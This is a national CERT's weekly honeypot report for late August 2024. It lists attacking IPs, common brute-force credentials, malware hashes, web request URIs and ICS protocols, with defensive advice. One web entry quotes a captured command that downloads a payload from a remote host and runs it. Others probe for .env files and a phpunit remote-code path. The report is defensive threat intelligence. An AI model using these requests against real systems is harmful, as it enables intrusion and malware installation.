TZ-CERT HONEYPOTS WEEKLY REPORT
Period: 19th of August, 2024 to 31st of August, 2024
Report No.: TZ-CERT/WRHP/2024/36

1. NETWORK ATTACKS

A total of **1,297,294**attacks have been recorded compared to last week's **212,075** attacks within the period of this report. The top 10 Network attacks with malicious IPs, commonly used usernames and passwords are as in **table1** below:

SN	ATTACKING IPS	USERNAMES	PASSWORDS
1.	162.254.168.226	root	123456
2.	86.109.115.67	345gs5662d34	admin
3.	149.28.203.19	admin	3245gs5662d34
4.	125.212.204.18	test	root
5.	115.75.56.181	ftpuser	345gs5662d34
6.	14.161.253.60	oracle	qwertyuiop123
7.	117.247.227.45	uucp	password
8.	157.245.241.17	user1	1234567890
9.	218.92.0.97	oracle	broadguam1
10.	188.165.253.19	3comcso	eve

Table1: Top 10 Network attacking IP

Most of the usernames and passwords listed are commonly used, thus its advised review of usernames and passwords be made to avoid use of the above listed credentials and default ones. The use of password policies is the best practice.

2. MALICIOUS SOFTWARE (MALWARE)

During the week the sensors recorded, a total of **58,892**malicious software distributed, compared to last week in which was **18,488.**

Below listed are top ten malicious software and their hashes.

SN	ATTACKING IPS	MALICIOUS SOFTWARE	HASHES(SHA256)
1.	109.197.204.74	Trojan Horse	94f2e4d8d4436874785cd14e6e6d403507b8750852f7f2040352069a75da4c00
2.	118.141.1.98	Trojan.Gen.NPE	dc8a55a4d2e8f3516a76f0981348970424509461d6ebc5bf024615b6061cd717
3.	102.33.31.174	Trojan.Gen.NPE	4c3bd4f78b208e00f808137c0f77538b00da1ae5ed1ae51cb5320cc681b8624e

4.	186.89.240.151	Trojan.Gen.NPE	c9f53c5a7971ce9053edf75583484635154ad09b791cfde914775d49045b1328
5.	196.202.57.126	Trojan.Gen.NPE	e8413a702f42bb0e8f1dc6e2a413a8f0685908f597d7574479d9291185184a64
6.	196.202.46.85	CL.Downloader!gen277	61e01dd195cffd031765c0cfe190a3fa90b22beb02d65eccdfd437a0fc2c341f
7.	196.189.57.197	CL.Downloader!gen277	924df73da21e9531df92e59779c4abec90390e5e3964a329833cdf324c2125c0
8.	41.81.134.233	Trojan.Gen.NPE	8869cf20032ac6bcf7fc15332f2f1aa5f3162666cc712294e2c9c0b1c1b7a91a
9.	196.221.166.249	CL.Downloader!gen277	836545ce7bb472c89b272e295ae92fd9fcdf6142a9f0bc5cfceedfeaa7dd6c9e
10.	196.221.89.87	Backdoor.Berbew.F	a04ac6d98ad989312783d4fe3456c53730b212c79a426fb215708b6c6daa3de3

Table2: Top 10 Malicious attacking IP

3. WEB ATTACKS

During the week the sensors recorded a total of **4,396** web attacks compared to last week which was **2,111.**

From the table below, the top 10 web-based attacks and their associated requests sent to web servers for the period between 19th of August, 2024 to 31st of August, 2024, are detailed. The requests are the payloads.

SN	ATTACKING IPS	TOP URI
1.	45.148.10.251	/
2.	149.50.103.48	/logon.htm
3.	185.224.128.59	/.env
4.	24.78.21.122	/robots.txt
5.	66.249.64.105	/admin/config.php
6.	66.249.64.107	/admin/assets/js/views/login.js

7.	66.249.64.106	/favicon.ico
8.	185.224.128.47	/shell?cd+/tmp;rm+-rf+j;nohup+wget+http:/\/154.216.18.196:88/j;chmod+777+j;./j
9.	185.224.128.74	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
10.	41.78.75.186	/?XDEBUG_SESSION_START=phpstorm

Table3: Top 10 web attacking IP

4. ICS (INDUSTRIAL CONTROL SYSTEMS) ATTACKS

During the week the sensors recorded a total of **2,843** ICS attacks compared to last week which was **1,828.**

From the table below these are the top 5 ICS attacks and their associated attacking IP, exploited protocols and exploited ports as detailed for the period between 19th of August, 2024 to 31st of August, 2024, are detailed

SN	ATTACKING IPS	TOP PROTOCOLS	TOP PORTS
1.	101.36.121.72	IEC104	2404
2.	152.32.247.23	kamstrup_protocol	50100
3.	94.23.145.155	guardian_ast	10001
4.	207.90.244.10	kamstrup_management_protocol	1025
5.	207.90.244.17	snmp	161

Table4: Top 5 ICS attacking IP

5. RECOMMENDATIONS

The Honeypot sensors have recorded IP addresses with the most common malware used in the world today. Monitoring of the listed IP address is advised and further to: -

5.1 Note that most of the malicious IP addresses captured are also listed as malicious IP addresses in other sources that are also observing security attacks; thus, security measures should be considered to counteract, including monitoring of the IPs in networks. Most likely the same resources might be used for further attacks.

5.2 Discourage usage of listed login resources (usernames and passwords) and consider deploying mechanisms to monitor login attempts.

5.3 Thoroughly check for suspicious files of hashes listed in **Table 2**.

5.4 Deploy Intrusion Detection System (IDS) and configure it to flag the detection of attacks associated with the list of resources provided especially the IP addresses and the web requests.